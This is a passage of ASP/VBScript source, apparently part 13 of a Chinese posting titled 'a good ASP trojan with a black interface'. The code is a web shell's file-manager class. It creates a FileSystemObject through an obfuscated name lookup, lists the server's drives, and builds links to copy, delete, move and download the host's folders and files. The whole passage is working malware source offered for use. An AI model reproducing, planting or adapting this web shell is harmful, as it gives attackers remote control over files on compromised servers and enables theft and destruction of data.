一款不错的asp木马 黑色界面(13)

   end function
End Class
Class LBF
  Dim CF
  Private Sub Class_Initialize
    SET CF=CreateObject(ObT(0,0))
  End Sub
  Private Sub Class_Terminate
    Set CF=Nothing
  End Sub
  Function ShowDriver()
    For Each D in CF.Drives
      RRS"   <a href='javascript:ShowFolder
("""&D.DriveLetter&":\\"")'>本地磁盘 ("&D.DriveLetter&":)</a><br>" 
    Next
  End Function
  Function Show1File(Path)
  Set FOLD=CF.GetFolder(Path)
  i=0
    SI="<table width='100%' border='0' cellspacing='0' 
cellpadding='0'><tr>"
  For Each F in FOLD.subfolders
    SI=SI&"<td height=10>"
    SI=SI&"<a href='javascript:ShowFolder("""&RePath(Path&"\"&F.Name)
&""")' title=""打开""><font face='wingdings' 
size='6'>0</font>"&F.Name&"</a>" 
    SI=SI&" _<a href='javascript:FullForm("""&RePath
(Path&"\"&F.Name)&""",""CopyFolder"")'  onclick='return yesok()' 
class='am' title='复制'>复制</a>"
    SI=SI&"  <a href='javascript:FullForm("""&Replace
(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")'  onclick='return yesok
()' class='am' title='删除'>删除</a>"
    SI=SI&" <a href='javascript:FullForm("""&RePath
(Path&"\"&F.Name)&""",""MoveFolder"")'  onclick='return yesok()' 
class='am' title='移动'>移动</a>"
    SI=SI&" <a href='javascript:FullForm("""&RePath
(Path&"\"&F.Name)&""",""DownFile"")'  onclick='return yesok()' 
class='am' title='下载'>下载</a></td>"
    i=i+1
    If i mod 3 = 0 then SI=SI&"</tr><tr>"
  Next
    SI=SI&"</tr><tr><td height=2></td></tr></table>"
    RRS SI &"<hr noshade color=""#CCCCCC"" size=1 color=""#"" />" : 
SI=""
  For Each L in Fold.files
    SI="<table width='100%' border='0' cellspacing='0' 
cellpadding='0'>"
    SI=SI&"<tr style='boungroup-color:#'>"
    SI=SI&"<td height='30'><a href='javascript:FullForm("""&RePath